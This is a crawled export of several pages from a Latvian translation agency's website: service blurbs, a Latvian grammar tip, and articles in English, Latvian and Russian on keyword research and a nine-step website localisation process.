lokalizācija ir radošs un visaptverošs process, kura laikā teksts par produktu vai pakalpojumu tiek pielāgots konkrētas valsts vai reģiona tirgum, ņemot vērā mērķauditorijas valodas un kultūras īpatnības. Lokalizācija ļauj veidot dialogu ar citu valstu patērētājiem viņiem pierastā formā un manierē. Vairāk E-KOMERCIJA – INTERNETA VEIKALU TULKOŠANA UN LOKALIZĒŠANA Interneta veikalu tulkošana un lokalizēšana ir process, kas aptver lingvistiskos, tehniskos un kultūras aspektus. Valodu speciālistiem, kuri sniedz šādus pakalpojumus, ir ne tikai klasiski jāpārtulko tīmekļa vietnes vai platformas saturs, bet arī jāpievērš uzmanība tam, vai tulkojums atbilst mērķa auditorijas interesēm un informācijas meklēšanas paradumiem internetā, kā arī attiecīgajā valstī spēkā esošajiem normatīvajiem aktiem. Vairāk GOOGLE ADS UN SEO TULKOJUMI Mājaslapas konkurētspēju būtiski uzlabo tās pieejamība dažādās valodās. Mūsu speciālisti palīdzēs lokalizēt jūsu mājaslapu, ievērojot visus aktuālos SEO principus, lai tā rādītos pēc iespējas augstāk dabiskās meklēšanas rezultātā, kā arī pielāgos atslēgvārdus Google Ads (AdWords) reklamēšanai, lai jūs bez grūtībām spētu atrast ikviens potenciālais klients. Vairāk MĀJASLAPAS TULKOŠANA UN LOKALIZĒŠANA Mājaslapas tulkošana un lokalizācija ir radošs un visaptverošs process, kura laikā teksts par produktu vai pakalpojumu tiek pielāgots konkrētas valsts vai reģiona tirgum, ņemot vērā mērķauditorijas valodas un kultūras īpatnības. Lokalizācija ļauj veidot dialogu ar citu valstu patērētājiem viņiem pierastā formā un manierē. Vairāk E-KOMERCIJA – INTERNETA VEIKALU TULKOŠANA UN LOKALIZĒŠANA Interneta veikalu tulkošana un lokalizēšana ir process, kas aptver lingvistiskos, tehniskos un kultūras aspektus. Valodu speciālistiem, kuri sniedz šādus pakalpojumus, ir ne tikai klasiski jāpārtulko tīmekļa vietnes vai platformas saturs, bet arī jāpievērš uzmanība tam, vai tulkojums atbilst mērķa auditorijas interesēm un informācijas meklēšanas paradumiem internetā, kā arī attiecīgajā valstī spēkā esošajiem normatīvajiem aktiem. Vairāk GOOGLE ADS UN SEO TULKOJUMI Mājaslapas konkurētspēju būtiski uzlabo tās pieejamība dažādās valodās. Mūsu speciālisti palīdzēs lokalizēt jūsu mājaslapu, ievērojot visus aktuālos SEO principus, lai tā rādītos pēc iespējas augstāk dabiskās meklēšanas rezultātā, kā arī pielāgos atslēgvārdus Google Ads (AdWords) reklamēšanai, lai jūs bez grūtībām spētu atrast ikviens potenciālais klients. Vairāk --- > Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! Skrivanek - Published: 2023-03-16 - Modified: 2023-03-16 - URL: https://skrivanek.lv/eiropas-ekonomikas-zona-vai-eiropas-ekonomiska-zona/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional EIROPAS EKONOMIKAS ZONA VAI EIROPAS EKONOMISKĀ ZONA 1 Eiropas Ekonomikas zona tika izveidota 1994. gadā. Vai – Eiropas Ekonomiskā zona? Lietvārds vai īpašības vārds, proti, ekonomika vai ekonomiska? Ekonomika – tautsaimniecība, tautsaimniecības nozare. Ekonomisks (-a) – tāds (-a), kas attiecas uz tautsaimniecību. No skolas laikiem atceramies, ka īpašības vārds konstrukcijā var būt vai nu apzīmētājs vai nominālais izteicējs. Šajā piemērā pareizi ir Eiropas Ekonomikas zona, jo analizējamais vārds neraksturo zonas veidu, lielumu, nesniedz vērtējumu (zona nav ekonomiska), bet gan nosauc jomu (ekonomika), kas uz šo vārdu (zona) attiecas. Tātad teiksim, ka Eiropas Ekonomikas zona tika izveidota 1994. gadā. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > It's important to research keywords when creating a website or marketing campaign. Skrivanek SEO specialists perform keyword research and website optimisation. - Published: 2023-03-03 - Modified: 2025-07-08 - URL: https://skrivanek.lv/kas-ir-atslegas-vardu-izpete-ka-piesaistit-merkauditoriju-tiessaiste/ - Kategorijas: Article, Raksti - Translation Priorities: Optional WHAT IS KEYWORD RESEARCH? HOW TO ATTRACT YOUR AUDIENCE ONLINE? Almost 70% of online activity starts with searches on search engines like Google. In this way, every internet user can find the desired product or service, answers to questions, and other valuable information. A search is performed by typing a phrase or words in the search field. The search engine selects and offers the exact results in which these words or phrases are found. The more relevant the content is to the searched keywords, the higher it ranks, and it is placed on search engines' first pages and is more visible. Content creators need to research the specific topic and industry to attract their target audience. So, before creating your content, you should do relevant keyword research. It applies to new website creation and online marketing campaigns. The goal of keyword research is to find out what your target audience is searching for online and identify the most relevant keywords so that your content will rank among the top search engine results. WHY IS KEYWORD RESEARCH SO IMPORTANT? The vastness of the internet is immeasurable, as is the amount of information found within it. If you want your audience to find your website, whether it's a business website, an online store, or a blog, you need to develop an SEO (Search engine optimisation) strategy. Keyword research is a crucial part of it. Without knowing your target audience and not knowing what keywords they would use to find the specific content, it is impossible to optimise the website or adapt the content to the needs of your audience. That means only one thing – the target audience will not learn about the specific product or service, company, blog, or another website, and the posted content will "drown" into the depths of the internet. 49% of the time, the most relevant result for a specific keyword or phrase on the first page of Google receives the most attention from online visitors. If that content only appears on the second page, users click on each result less than 1% of the time. To attract the target audience to your website, you need to identify the keywords they are searching for and create content that matches their search intent. Skrivanek recommends doing keyword research for any online activity, especially for building marketing campaigns or websites. That will help you get to know your customers and audience and discover what information they are looking for. You will also determine what problems or needs your potential customers face and what goods and services they need. BENEFITS OF KEYWORD RESEARCH: SUCCESSFUL SEO Keyword research is an integral part of SEO. It allows you to discover specific words and phrases that people use when searching for products and services that you offer. By doing effective keyword research, you can create an SEO strategy that will allow you to introduce the best and most relevant words and phrases into your website content. This will boost your website's position on Google, helping you rank higher for keywords that customers are searching for to find businesses like yours. More specific keywords will attract relevant users and potential customers to your website. ABILITY TO CREATE GREAT CONTENT What people search for reflects what interests them. Users use Google as an assistant, advisor, and entertainer. Using keywords allows you to create content that meets your target audience's needs and answers their questions. Keyword research provides a user-focused content strategy that engages and grows your audience. Great content builds a company's image, creates credibility and added value, and builds relationships with the audience. It also allows you to provide them with the knowledge they need to move forward in the customer journey to purchase. INCREASES THE SITE'S POTENTIAL 92. 96% of website traffic comes from Google Search, Google Images, or Google Maps. If you want your website to be noticed and visited, users need to be able to find it. The amount of traffic to the site depends on the popularity of the chosen keywords. 0. 16% of the top keywords are responsible for 60. 67% of searches. Keyword research is essential to determine what is popular in a particular industry to attract as many potential customers as possible. ABILITY TO OVERTAKE COMPETITORS All of your competitors are looking for the same customers as you, so it's crucial to stand out among them and rank higher in the search results. Keyword research allows you to introduce the most relevant terms into your content, thus ranking your site higher on Google, and allowing you to outrank your competitors. WHO DOES KEYWORD RESEARCH? Professional keyword research is carried out by SEO specialists using various programmes, search, and selection tools. They allow you to identify both general and short and also specific and long keywords and phrases. Skrivanek's SEO specialists perform target audience research, determine the most relevant keywords, and help with home page optimisation so that your product or service is visible to your potential clients. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit WEBSITE TRANSLATION Translating websites has never been easier! Our specialists will provide optimal translation and localisation solutions to make sure your website suits the needs and local characteristics of your region or market. Read more DIGITAL MARKETING CONTENT LOCALISATION Digital marketing, including websites and thought-out online media campaigns, captures the hearts and minds of your customers with messages in a virtual environment, while social networks allow them to build closer relationships among themselves. The special way of making your product unique can be lost in a mere, classic translation: that’s where marketing content localisation comes to your aid. Read more GOOGLE ADS AND SEO TRANSLATIONS Making your website available in several languages will significantly improve its competitive advantage. Our specialists will localise your website according to the latest SEO principles to make it appear as high as possible in organic searches, as well as adapt keywords for Google Ads advertising to make sure your potential clients can easily find you. Read more WEBSITE TRANSLATION Translating websites has never been easier! Our specialists will provide optimal translation and localisation solutions to make sure your website suits the needs and local characteristics of your region or market. Read more DIGITAL MARKETING CONTENT LOCALISATION Digital marketing, including websites and thought-out online media campaigns, captures the hearts and minds of your customers with messages in a virtual environment, while social networks allow them to build closer relationships among themselves. The special way of making your product unique can be lost in a mere, classic translation: that’s where marketing content localisation comes to your aid. Read more GOOGLE ADS AND SEO TRANSLATIONS Making your website available in several languages will significantly improve its competitive advantage. Our specialists will localise your website according to the latest SEO principles to make it appear as high as possible in organic searches, as well as adapt keywords for Google Ads advertising to make sure your potential clients can easily find you. Read more Ziņu izvēlne Read our previous blog postValsts ieņēmumu dienestsRead our new blog postValsts sociālās apdrošināšanas aģentūra --- > После того как сайт локализован, он должен быть понятным, легко читаемым и полностью соответствовать тому, как клиенты общаются с вами на ежедневной основе. - Published: 2023-02-17 - Modified: 2024-11-12 - URL: https://skrivanek.lv/timekla-vietnes-lokalizesana-9-vienkarsos-solos/ - Kategorijas: Raksti - Translation Priorities: Optional ЛОКАЛИЗАЦИЯ ДОМАШНЕЙ СТРАНИЦЫ: 9 ПРОСТЫХ ШАГОВ ВСЕ, ЧТО НУЖНО, – ХОРОШИЙ ПЕРЕВОДЧИК? К сожалению, существует ложное представление, что все переводчики обладают навыками локализации, которое может негативно сказаться на результатах работы над важными активами, например над интернет-страницей предприятия. Описанная в данной статье последовательность действий относится в основном к малым и средним предприятиям (МСП), поскольку крупные компании, как правило, получают услугу локализации в индивидуальном порядке. Но сначала определимся, что означает термин «локализация» на самом деле. ЧТО ТАКОЕ ЛОКАЛИЗАЦИЯ? Перевод – простейшая форма языковой услуги, которая предлагается выбранным вами поставщиком языковых услуг (language service provider, LSP). Это процесс преобразования текста на исходном языке в текст на целевом языке с сохранением его смысла. Для перевода официальных документов, составленных относительно простым языком, может быть достаточно одного переводчика. Однако, если вы разрабатываете маркетинговые материалы, которые должны помочь формированию имиджа вашей компании и привлечь внимание аудитории в новой стране, вам потребуется кое-что еще. На самом деле многое. Локализация – это адаптация текстов к социокультурному контексту нового рынка. Она затрагивает все нетекстовые составляющие перевода: предназначение, специфику целевой аудитории и ее потребностей, SEO-требования, аспекты UX/UI и многие другие вопросы. После локализации ваша интернет-страница должна естественно восприниматься ее посетителями. Она должна быть читабельной за счет полного соответствия обычному стилю общения ваших клиентов. Основываясь на этом, рассмотрим девять этапов процесса локализации интернет-страницы. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить ШАГ 1: ПОДГОТОВКА Решение выполнить перевод и локализацию интернет-страницы должно быть взвешенным и продуманным. Наиболее распространенная причина выполнения локализации интернет-страницы – желание вывести свою компанию на международный уровень, чтобы завоевать новые рынки. Хорошим поводом перевести и локализовать свою страницу также может стать увеличение трафика из других стран (зафиксированное Google Analytics или другим инструментом веб-аналитики). Второе, на что следует обратить внимание, – что именно вам нужно локализовать. Некоторые предприятия локализуют лишь ключевые элементы и подстраницы интернет-страниц. Такой подход не всегда оправдан, поскольку невольно создает ощущение недосказанности, которое клиенты могут ассоциировать с вашим бизнесом. Работая над конкретными продающими страницами, зачастую полезно проверить потенциал нового рынка в небольшом масштабе. Например, вы можете начать проверку рекламы и других элементов, связанных с местным рынком, со страниц конкретных продуктов. В целом наиболее безопасный вариант – локализовать все элементы, связанные с интернет-страницей, но выполнение этой задачи зависит от многих факторов, таких как рынок, наличные ресурсы, сроки, цели коммерческой деятельности и техническое наполнение (см. шаг 4). ЧТО ЕЩЕ НЕОБХОДИМО РАССМОТРЕТЬ В рамках процесса подготовки вам потребуется рассмотреть ряд указанных далее основных факторов. Ваш продукт или услуга. Вы можете просто начать предлагать свои продукты/услуги на новом рынке или же их нужно адаптировать к новому рынку? Ценообразование. Будет ли ваша модель ценообразования работать на новом рынке? Целевой рынок (рынки). К каким языковым, культурным и демографическим группам вы хотите обращаться? Команда. Имеются ли у вас ресурсы, которые помогут локализовать интернет-страницу? Если в вашей команде есть работники, способные обслуживать новых клиентов, или другие специалисты, разбирающиеся в новом целевом рынке, вы сможете задействовать их в процессе локализации. Список можно продолжить в зависимости от профиля и потребностей вашего предприятия. И, наконец, обдумайте предпочтительную форму данной услуги. Упрощая, мы расскажем лишь о трех наиболее распространенных вариантах, хотя на самом деле их может быть больше. Перевод и локализация выполняются человеком: задачу выполняют исключительно переводчики и специалисты по локализации, используя ограниченную программную поддержку в виде CAT-инструментов. Машинный перевод: задача выполняется полностью автоматически инструментами MT. Для этого существует множество «бесплатных» инструментов, но их мы рассмотрим в других статьях. Гибридное решение: одновременно используется машинный и человеческий труд, т. е. исходный материал создается инструментом MT, а затем его редактируют и совершенствуют специалисты. Если вы хотите, чтобы интернет-страница выглядела максимально естественно, рекомендуем выбрать первый или третий вариант. ШАГ 2: ПОЙМИТЕ ТРЕБОВАНИЯ КЛИЕНТА Вы не сможете локализовать интернет-страницу, не зная, кто будет вашей целевой аудиторией. Зачастую внутри страны существуют определенные группы, использующие разные формы коммуникации, диалекты и даже языки. Прежде чем приступать к локализации, это необходимо выяснить. Понимание требований клиента начинается с определения типажа покупателя. Это отображение архетипа вашего идеального клиента. Типаж покупателя образует основная демографическая информация о ваших целевых клиентах, а также информация об их поведении, мотивации, намерениях и болевых точках. Для определения типажа покупателя вам потребуется собрать дополнительную информацию о своем будущем рынке, в идеале – получить надежные данные с помощью аналитических инструментов. Чтобы лучше понять свой целевой рынок, можно использовать также обзоры рынка и официальные документы. Кроме случая, когда вы только открыли собственное дело, к моменту начала локализации интернет-страницы на другом языке, как правило, вы уже знаете профиль своего покупателя и можете использовать эти знания при выходе на новые рынки. Еще один важный способ понять свой целевой рынок – провести анализ ключевых слов (см. шаг 4). ШАГ 3: СОБЕРИТЕ КОМАНДУ И НАЙДИТЕ LSP Хорошие результаты локализации никогда не достигаются в одиночку. В данном процессе должны участвовать представители разных отделов компании, в том числе: маркетинга, обслуживания клиентов / продаж, технической поддержки интернет-страницы, особенно для индивидуальных решений, автор лучших решений. У каждого участника будет своя точка зрения на цели и способы их достижения. Не забудьте назначить ответственного за определение и соблюдение объема проектных работ. Техническая поддержка поможет вам экспортировать тексты для локализации, которые пригодятся при подготовке ценового предложения, – как своими силами, так и с привлечением третьих сторон. Если такой возможности нет, можно использовать методы веб-агрегаторов. Как правило, если возник вопрос локализации, интернет-страница уже существует, поэтому выбрать решение будет нетрудно. Это может быть WordPress, Shopify, Drupal, Wix или любое другое, но у каждого есть свои ограничения. Хорошая идея – найти компанию, которая поможет вам перевести и локализовать интернет-страницу. Такие компании, именуемые LSP, сотрудничают со специалистами, знающими целевой язык и культуру от и до. Это редакторы, работающие с родным языком, и опытные переводчики. LSP способны предоставить всеобъемлющий пакет услуг, в который входят планирование, консультации, исследования, локализация и редактирование всех ваших маркетинговых текстов, а также техническая поддержка и заключительное тестирование. Взявшись за локализацию текстового наполнения интернет-страницы, специалисты Skrivanek всегда спрашивают клиента, какой общий тон следует использовать. Благодаря этому переведенная интернет-страница будет полностью соответствовать вашим ожиданиям. Такой практики должны придерживаться все LSP. ШАГ 4: УЧИТЫВАЙТЕ SEO И МЕТАДАННЫЕ Все тексты на вашей интернет-странице чрезвычайно важны, однако в процессе перевода и локализации необходимо учитывать кое-что еще. Существуют определенные элементы, связанные с интернет-страницей, которые используются ботами Google и другими поисковыми ботами, чтобы понять, чему посвящена ваша страница, например: метазаголовки (теги заголовков) – отображаются в Google (а именно на странице результатов поисковой системы) как заголовки ссылок на вашу страницу (поэтому пользователи видят их, только если вы находитесь в выгодном органическом положении); метаописания – это резюме содержания интернет-страницы, которое тоже отображается на странице результатов поисковой системы; атрибуты ALT – небольшие фрагменты содержания, которые описывают, что можно увидеть во всех графических материалах, на изображениях и фотографиях, публикуемых на интернет-странице. Знаете ли вы, что теперь в метаописаниях можно использовать знаки эмодзи, а также представленные изображения? Все вышеизложенные аспекты (и не только они) оказывают влияние на SEO вашей интернет-страницы – правда, косвенно. Однако они способны увеличить количество нажатий по вашим ссылкам! АНАЛИЗ КЛЮЧЕВЫХ СЛОВ Теперь перейдем к вопросу анализа ключевых слов. Если вы, как и большинство наших клиентов, хотите попасть в первые строки результатов поиска в Google, потребуется провести определенный анализ того, например, какие ключевые слова и ключевые фразы используются покупателями и пользователями на вашем рынке. Для анализа ключевых слов существует множество бесплатных инструментов, например: Google Keyword Planner, Keyword Surfer – надстройка SEO для Chrome, Ubersuggest. В Skrivanek используются преимущественно два инструмента – Ahrefs и Google Keyword Planner – в зависимости от ваших коммерческих целей. Анализ ключевых слов позволяет также понять, какие продукты и какими способами ищут ваши потенциальные клиенты. Еще вы узнаете своих главных «органических» конкурентов, потому что их тоже будет видно. Затем вы сможете проанализировать, как ваши конкуренты представляют себя, и даже поучиться у них. Мы заметили, что многие вместо поискового запроса «локализация интернет-страницы» используют словосочетание «перевод интернет-страницы», часто вводя сокращенные и неправильные формы слов. Кстати, неправильные формы тоже можно использовать себе во благо – мы успешно ими пользуемся и всегда предложим и вам, поскольку во многих случаях это приносит хорошие результаты! Проведя исследование своего целевого рынка, вы можете предоставить его результаты компании, которая занимается локализацией вашей страницы, и попросить использовать новые ключевые слова в процессе локализации ее наполнения. Почему это важно? Неправильный выбор ключевых слов может сократить количество поисковых запросов на новом языке и, соответственно, трафик на новом рынке. Компания Skrivanek проводит анализ ключевых слов на основании предшествующих запросов на исходном языке или новое исследование по заданию клиента. Помните: анализ ключевых слов особенно важен, если ваше предприятие планирует долгосрочную «борьбу» за органический трафик. Если же ваши клиенты в первую очередь переходят по рекламе в FB, LI, Google или на аналогичных платформах, забота об органической позиции может быть не столь важна. ШАГ 5: ХРАНИТЕ ВСЕ ЛОКАЛИЗОВАННЫЕ ТЕКСТЫ В ОДНОМ МЕСТЕ Скорее всего, у вас появится множество файлов и инструкций, касающихся новой версии интернет-страницы. Целесообразно хранить все документы в одном месте, лучше всего – в облачном хранилище. Это обеспечит вашим работникам, подрядчикам и LSP прямой доступ ко всем необходимым файлам в их актуальных редакциях. Облачное хранилище позволит избежать множества проблем, особенно связанных с использованием разных версий одного и того же файла. Стоит использовать и CAT-инструменты – не только для ускорения процесса, но и для хранения веб-контента. Безусловно, всегда лучше иметь уникальное наполнение интернет-страницы, но некоторые вещи остаются неизменными и могут повторно использоваться в будущем. Сохранение CAT-памяти позволит сэкономить на повторениях, ускорит процесс перевода и обеспечит последовательность переводов. Если вы приняли решение сотрудничать с LSP, выбранное предприятие должно иметь CAT-инструменты. ШАГ 6: ПРОВЕРКА ЛОКАЛИЗАЦИИ НОСИТЕЛЕМ ЯЗЫКА Перед публикацией локализацию интернет-страницы должен проверить минимум один носитель языка, хотя далеко не каждый из них обладает необходимыми для этого знаниями и умениями. Если вы сотрудничаете с бюро переводов, оно сможет это устроить. В идеале это должен быть представитель вашей целевой аудитории, однако, если ваши ресурсы ограниченны, можно просто обратиться за помощью к друзьям, знакомым или родственникам. Можно пойти еще дальше и организовать фокусную группу для проверки восприятия вашей новой интернет-страницы, но в большинстве случаев это необязательно. ШАГ 7: ПРОТЕСТИРУЙТЕ НОВЫЙ КОНТЕНТ (И СВОЮ НОВУЮ ИНТЕРНЕТ-СТРАНИЦУ) Перед началом использования новой интернет-страницы важно убедиться в том, что все выглядит и работает как нужно: все подстраницы переведены и локализованы, макет каждой новой интернет-страницы выглядит гармонично и все функционирует правильно с технической точки зрения. Проведите тестирование на мобильных и стационарных устройствах. Включите в аналитический отчет важнейшие аспекты для вашего бизнеса. Примеры элементов, которые следует проверить: названия, валюты, единицы измерения; внутренние и внешние ссылки; изображения и их атрибуты; функциональность меню и интернет-страницы; процедура оплаты; корзина; соответствие требованиям Google (для проверки используйте бесплатный инструмент Google Lighthouse); все скачиваемые материалы / представление в виде PDF-файлов; языковые элементы: ошибки (правописание, грамматика, пунктуация, опечатки и др. ); культурное соответствие (термины, слова и фразы); удобочитаемость в целом и соответствие брендированию вашей компании. ШАГ 8: РАЗМЕСТИТЕ ЛОКАЛИЗОВАННЫЙ ТЕКСТ В ИНТЕРНЕТЕ Владельцам давно существующего предприятия будет проще – вы сможете использовать ту же систему CMS или платформу э-коммерции, что и прежде, поскольку большинство таких инструментов полностью поддерживают разные языковые версии. А что если вы только начинаете? Тогда вам потребуется выбрать сравнительно простое решение, которое предлагает поддержку многоязычных версий без дополнительных издержек. Оно должно включать CMS, а также платформы э-коммерции, если вам принадлежит интернет-магазин. Когда все будет готово, останется лишь обеспечить плавный переход с одной языковой версии на другую. Соответствующую возможность можно внести в главное меню или разместить в верхнем или нижнем колонтитуле. ШАГ 9: НЕ ПОЧИВАЙТЕ НА ЛАВРАХ Как и любая другая работа над интернет-страницей, локализация – это бесконечный процесс, который продолжается, пока вы управляете своим бизнесом. Рекомендуется следить за тем, как работает интернет-страница, какие отзывы оставляют пользователи, какие вопросы задают потенциальные клиенты, какие аспекты вашей интернет-страницы и представленности в Интернете в целом работают хорошо, а какие требуют доработки. Такой проактивный подход позволяет быстро реагировать на рыночные изменения и обеспечивает великолепный пользовательский опыт всем посетителям вашей страницы, каким бы языком они ни пользовались. Если вам необходимы перевод и локализация маркетинговых материалов, включая копии интернет-страницы, мы будем рады помочь. Напишите нам, и мы вместе решим, что можно сделать! Ziņu izvēlne Читайте нашу прошлую статьюValsts ieņēmumu dienestsЧитайте нашу новую статьюValsts sociālās apdrošināšanas aģentūra --- > Atslēgas vārdu izpēte ir būtiska, lai piesaistītu mērķauditoriju tiešsaistē. Uzzini, kādi ir atslēgas vārdu izpētes ieguvumi šajā rakstā! - Published: 2023-02-16 - Modified: 2025-07-15 - URL: https://skrivanek.lv/kas-ir-atslegas-vardu-izpete-ka-piesaistit-merkauditoriju-tiessaiste/ - Kategorijas: Raksti - Translation Priorities: Optional KAS IR ATSLĒGAS VĀRDU IZPĒTE? KĀ PIESAISTĪT MĒRĶAUDITORIJU TIEŠSAISTĒ? Teju 70% tiešsaistes aktivitāšu sākas ar meklējumiem un produkta vai pakalpojuma izpēti kādā no meklētājprogrammām, piemēram, Google. Šādi ikviens interneta lietotājs var atrast tieši sev vēlamo preci vai pakalpojumu, atbildes uz jautājumiem un citu vērtīgu informāciju. Meklēšanu veic, ierakstot interesējošo vārdu vai vārdu savienojumu meklētājprogrammas meklēšanas lauciņā. Meklētājprogramma atlasa un piedāvā iepazīties tieši ar tiem rezultātiem, kuros ievadītie vārdi ir atrodami. Jo piedāvātais saturs vairāk atbilst meklētajiem atslēgas vārdiem, jo augstākā, labāk pamanāmā pozīcijā meklējumu sarakstā tas atrodas. Satura veidotājiem ir būtiski veikt konkrētās tēmas un nozares izpēti, lai piesaistītu savu mērķauditoriju. Tātad pirms satura veidošanas jāveic tam atbilstošu atslēgas vārdu izpēte. Tā var tikt attiecināta gan uz jaunu mājaslapu izveidošanu, gan tiešsaistes mārketinga kampaņām. Atslēgas vārdu izpētes mērķis ir noskaidrot, ko mērķauditorija meklē tiešsaistē, un noteikt atbilstošākos atslēgas vārdus, lai izveidotais saturs ierindotos labākajos meklētājprogrammu piedāvātajos rezultātos. KĀPĒC ATSLĒGVĀRDU IZPĒTE IR SVARĪGA? Interneta plašumi ir neizmērojami, tāpat kā tajos atrodamais informācijas daudzums. Ja vēlaties, lai jūsu auditorija atrastu jūsu mājaslapu — neatkarīgi no tā, vai tā ir uzņēmuma mājaslapa, interneta veikals vai blogs, ir jāizstrādā SEO (Search engine optimization) jeb meklētājprogrammu stratēģija. Ļoti svarīgs posms ir atslēgas vārdu izpēte. Nepazīstot savu mērķauditoriju un nezinot, pēc kādiem atslēgas vārdiem tā atrastu konkrēto saturu, nav iespējams veikt mājaslapas optimizāciju jeb satura pielāgošanu auditorijas vajadzībām. Tas nozīmē tikai vienu – mērķauditorija neuzzinās par konkrēto produktu vai pakalpojumu, uzņēmumu, blogu vai citu vietni, un ievietotais saturs pazudīs interneta dzīlēs. 49% gadījumu atbilstošākais rezultāts konkrētam atslēgas vārdam vai frāzei Google pirmajā lapā saņem vislielāko uzmanību no tiešsaistes apmeklētāju puses. Ja šis saturs parādās tikai otrajā lapā, lietotāji uz katra rezultāta noklikšķina mazāk nekā 1% gadījumu. Tieši tāpēc, lai piesaistītu auditoriju vietnei, jums ir jāidentificē viņu meklētie atslēgvārdi un jāizveido saturs, kas atbilst viņu meklēšanas nolūkam. Skrivanek iesaka veikt atslēgas vārdu izpēti jebkurām tiešsaistes aktivitātēm, jo īpaši mārketinga kampaņu vai mājaslapu veidošanas procesā. Tas palīdzēs iepazīt savus klientus un auditoriju, kā arī atklāt, kādu informāciju viņi meklē. Tādējādi iespējams noteikt, ar kādām problēmām vai vajadzībām potenciālie klienti sastopas un kādas preces un pakalpojumi viņiem nepieciešami. ATSLĒGVĀRDU IZPĒTES IEGUVUMI: VEIKSMĪGS SEO Atslēgvārdu izpēte ir neatņemama SEO daļa. Tā ļauj atklāt konkrētus vārdus un frāzes, ko cilvēki izmanto, meklējot tādus produktus un pakalpojumus, ko piedāvājat tieši jūs. Veicot efektīvu atslēgvārdu izpēti, iespējams izveidot SEO stratēģiju, kas ļaus jūsu vietnes saturā ieviest labākos un atbilstošākos vārdus un frāzes. Tas paaugstinās jūsu vietnes pozīciju Google, palīdzot iegūt augstāku pozīciju pēc atslēgas vārdiem, ko klienti meklē, lai atrastu jums līdzīgus uzņēmumus. Jo precīzāki atslēgas vārdi tiks izmantoti, jo atbilstošāki lietotāji un potenciālie klienti tiks novirzīti uz jūsu vietni. IESPĒJA VEIDOT LIELISKU SATURU Tas, ko cilvēki meklē, atspoguļo to, kas viņus interesē. Lietotāji izmanto Google kā palīgu, padomdevēju un izklaidētāju. Izmantojot atslēgas vārdus, iespējams izveidot saturu, kas apmierina jūsu mērķauditorijas vajadzības un atbild uz viņu jautājumiem. Atslēgas vārdu izpēte nodrošina uz lietotājiem vērstu satura stratēģiju, kas iesaista un palielina jūsu auditoriju. Lielisks saturs veido uzņēmuma tēlu, rada uzticamību un pievienoto vērtību, kā arī veido attiecības ar auditoriju. Tas arī ļauj jums nodrošināt viņiem nepieciešamās zināšanas, lai virzītos uz priekšu klienta ceļā uz pirkumu. IESPĒJA APSTEIGT KONKURENTUS Visi jūsu konkurenti meklē tādus pašus klientus kā jūs, tāpēc ir svarīgi izcelties starp viņiem un ieņemt augstāku vietu meklēšanas rezultātos. Atslēgas vārdu izpēte ļauj savā saturā ieviest atbilstošākos terminus, tādējādi ierindojot jūsu vietni augstāk Google un ļaujot apsteigt konkurentus. KAS VEIC ATSLĒGAS VĀRDU IZPĒTI? Profesionālu atslēgas vārdu izpēti veic SEO speciālisti, izmantojot dažādas programmas, meklēšanas un atlases rīkus. Tie ļauj noteikt gan vispārējus un īsus, gan ļoti specifiskus un garus atslēgas vārdus un frāzes. Skrivanek SEO speciālisti veiks gan mērķauditorijas izpēti, gan noteiks jūsu uzņēmumam atbilstošākos atslēgas vārdus, kā arī palīdzēs veikt mājaslapu optimizāciju, lai jūsu uzņēmums būtu pamanāms internetā. KĀ VAR PALĪDZĒT SKRIVANEK? Skrivanek SEO speciālisti palīdzēs jums saprast, kā jūsu produktu vai pakalpojumi meklē pircēji jebkurā no pasaules valstīm un valodām, lai jūsu investīcijas satura lokalizācijā būtu pārdomātas un jēgpilnas. Būsim priecīgi pastāstīt 